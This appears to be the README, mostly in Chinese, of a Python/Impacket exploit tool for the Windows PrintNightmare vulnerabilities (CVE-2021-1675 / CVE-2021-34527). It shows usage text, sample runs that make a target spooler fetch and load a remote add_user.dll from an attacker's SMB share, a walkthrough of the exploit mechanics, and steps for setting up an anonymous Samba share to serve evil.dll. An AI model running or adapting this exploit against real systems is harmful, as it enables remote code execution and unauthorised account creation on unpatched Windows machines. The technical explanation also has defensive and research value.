
Python implementation for PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
使用标准 Impacket 的 PrintNightmare (CVE-2021-1675 / CVE-2021-34527) Python 实现。
$ pip3 install impacket
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
[-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
target
PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
optional arguments:
-h, --help 显示此帮助信息并退出
-debug 开启 DEBUG 输出
-no-pass 不询问密码(与 -k 一起使用)
-k 使用 Kerberos 认证。根据目标参数从 ccache 文件 (KRB5CCNAME) 获取凭据。如果找不到有效凭据,则使用命令行中指定的凭据
-dc-ip ip address 域控制器的 IP 地址。如果省略,将使用目标参数中指定的域部分 (FQDN)
connection:
-port [destination port]
连接到 MS-RPRN 命名管道的目标端口
-target-ip ip address
目标机器的 IP 地址。如果省略,将使用 target 参数中指定的内容。当目标为 NetBIOS 名称且无法解析时,此选项很有用
authentication:
-hashes LMHASH:NTHASH
NTLM 哈希,格式为 LMHASH:NTHASH
driver:
-name driver name 驱动程序名称
-env driver name 驱动程序环境
-path driver path 驱动程序路径
-dll driver dll DLL 路径
modes:
-check 检查目标是否存在漏洞
-list 列出现有的打印机驱动程序
-delete 删除打印机驱动程序
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] 枚举打印机驱动程序
[*] 驱动程序名称: 'Microsoft XPS Document Writer v5'
[*] 驱动程序路径: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL 路径: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] 复制 DLL
[*] 成功复制 DLL
[*] 尝试加载 DLL
[*] 成功加载 DLL
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] 枚举打印机驱动程序
[*] 驱动程序名称: 'Microsoft XPS Document Writer v5'
[*] 驱动程序路径: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL 路径: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] 加载 DLL
[*] 成功加载 DLL
注意,本地 DLL 示例并未利用 CVE-2021-34527 来复制 DLL。
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] 枚举打印机驱动程序
[*] 驱动程序名称: 'My Printer Driver'
[*] 驱动程序路径: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL 路径: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] 复制 DLL
[*] 成功复制 DLL
[*] 尝试加载 DLL
[*] 成功加载 DLL
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] 枚举打印机驱动程序
名称: Microsoft XPS Document Writer v4
环境: Windows x64
驱动程序路径: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
数据文件: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
配置文件: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
版本: 4
----------------------------------------------------------------
名称: Microsoft Print To PDF
环境: Windows x64
驱动程序路径: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
数据文件: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
配置文件: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
版本: 4
----------------------------------------------------------------
名称: My Printer Driver
环境: Windows x64
驱动程序路径: C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
数据文件: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
配置文件: C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
版本: 3
----------------------------------------------------------------
名称: Microsoft Shared Fax Driver
环境: Windows x64
驱动程序路径: C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
数据文件: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
配置文件: C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
版本: 3
----------------------------------------------------------------
名称: Microsoft enhanced Point and Print compatibility driver
环境: Windows x64
驱动程序路径: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
数据文件: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
配置文件: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
版本: 3
----------------------------------------------------------------
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] 目标似乎存在漏洞!
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[!] 目标似乎不存在漏洞
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] 枚举打印机驱动程序
名称: Microsoft XPS Document Writer v4
环境: Windows x64
驱动程序路径: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
数据文件: C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
配置文件: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
版本: 4
----------------------------------------------------------------
名称: Microsoft Print To PDF
环境: Windows x64
驱动程序路径: C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
数据文件: C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
配置文件: C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
版本: 4
----------------------------------------------------------------
名称: Microsoft enhanced Point and Print compatibility driver
环境: Windows x64
驱动程序路径: C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
数据文件: C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
配置文件: C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
版本: 3
----------------------------------------------------------------
可能需要管理员权限。
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] 已删除打印机驱动程序!
PrintNightmare 包含两个 CVE:CVE-2021-1675 / CVE-2021-34527。
允许非管理员用户添加新的打印机驱动程序。该漏洞已通过仅允许管理员添加新打印机驱动程序来修复。已打补丁的打印后台处理程序在非管理员尝试添加新打印机驱动程序时会返回 RPC_E_ACCESS_DENIED(代码:0x8001011b)。
在 添加新打印机驱动程序 时,DRIVER_CONTAINER 中的 pDataFile 参数允许使用 UNC 路径。然而,pDataFile 中指定的 DLL 不会被加载,但是它会被复制到本地路径,从而允许我们创建一个新的打印机驱动程序,并将 pConfigFile 参数指向该本地路径,从而加载该 DLL。已打补丁的打印机后台处理程序会返回 ERROR_INVALID_PARAMETER(代码:0x57)。
如果恶意 DLL 已经位于目标上,则仅需要 CVE-2021-1675。
对于 PrintNightmare,如果 DLL 不是本地路径,则可以使用 CVE-2021-34527 通过 UNC 路径获取 DLL。因此,需要通过 SMB 提供 DLL。如果您不熟悉 SMB 和 UNC,请阅读以下小节。
当创建新打印机驱动程序时,出于安全原因,pDataFile 参数中的 DLL 不会被加载。但是,它会被复制到 C:\Windows\system32\spool\drivers\x64\3\。然后,我们可以创建一个新的打印机驱动程序,使用包含本地路径的 pConfigFile(该路径会加载 DLL)。然而,在创建第二个打印机驱动程序时,DLL 正被第一个驱动程序使用。相反,我们可以覆盖第一个打印机驱动程序,这会使其 DLL 被复制到 C:\Windows\system32\spool\drivers\x64\3\old\<I>\,其中 <I> 随每次 DLL 复制递增。现在我们可以创建第三个打印机驱动程序,使用本地路径 C:\Windows\system32\spool\drivers\x64\3\old\<I>\,因为该 DLL 不再被使用。接下来只需猜测 <I>,它从 1 开始递增。
注意,DLL 在本地会保留其文件名。因此,如果您最初使用 foo.dll 运行漏洞利用程序,它被保存到 C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll;之后您更改了本地 foo.dll 的内容并再次运行漏洞利用程序,它现在被保存到 C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll,那么原始的 foo.dll 将被使用,因为它位于 C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll。相反,如果您更改了 DLL 的内容,只需更改文件名即可。
简而言之,UNC 路径是网络中文件或文件夹的路径,而不是本地文件,它包含服务器名称和路径。例如,UNC 路径 \\10.0.0.2\files\foo.txt 是文件 foo.txt,由服务器 10.0.0.2 的 files 共享提供。通常,共享通过 SMB 提供,但也支持 WebDAV。要在 Linux 上创建 SMB 共享,最简单最可靠的方法是使用 Samba 包。
使用 apt 安装 Samba:
$ sudo apt install samba
编辑 /etc/samba/smb.conf 并在文件末尾添加以下内容:
[smb]
comment = Samba
path = /tmp/share
guest ok = yes
read only = yes
browsable = yes
force user = nobody
这将创建一个名为 smb 的新共享,并提供 /tmp/share 中的文件。它允许匿名访问,并使用本地用户 nobody 浏览文件。
然后通过以下命令启动 Samba 服务:
$ sudo service smbd start
假设您的 Linux 机器 IP 为 192.168.1.100,并且您希望提供 evil.dll,那么此场景中的 UNC 路径为 \\192.168.1.100\smb\evil.dll。